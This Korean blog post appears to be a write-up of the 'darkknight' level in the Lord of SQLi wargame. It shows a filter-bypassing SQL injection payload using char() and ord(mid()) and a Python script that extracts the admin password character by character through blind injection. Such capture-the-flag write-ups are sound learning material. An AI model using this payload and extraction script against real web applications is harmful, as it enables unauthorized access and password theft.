Bace

LOS - darkknight 본문

LOS

LOS - darkknight

Bace 2020. 1. 20. 03:15

문제는 다음과 같다.

pw와 no 모두 '를 필터링 하고 있고, no는 substr과 ascii를 필터링 하고 있다.

근데 no는 '' 로 받지 않고 그냥 받아 들이므로, '를 통해 빠져나갈 필요가 없다.

그러므로 no쪽으로 공격을 하는데, admin을 문자로 인식 시키기 위해 char를 썼다.

?pw=&no=1%20or%20id%20like%20char(97,100,109,105,110)%20and%20ord(mid(pw,1,1))%20like%201%20--%20-

이와 같이 보내주었다.

import requests

answer = ''

for i in range(1,9):
	for j in range(33,128):
		url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?pw=&no=1%20or%20id%20like%20char(97,100,109,105,110)%20and%20ord(mid(pw,{},1))%20like%20{}%20--%20-".format(i,j)
		cookies = {'PHPSESSID':'자신의 PHPSESSID'}
		response = requests.get(url=url,cookies=cookies)
		if response.text.find("Hello admin") != -1:
			answer += chr(j)
			print 'Found {}st letter'.format(i)
			break
		print '{}st letter {}th '.format(i,j)

print answer    

 

solve

'LOS' 카테고리의 다른 글

LOS - giant  (0) 2020.01.21
LOS - bugbear  (0) 2020.01.21
LOS - golem  (0) 2020.01.18
LOS - skeleton  (0) 2020.01.17
LOS - vampire  (0) 2020.01.17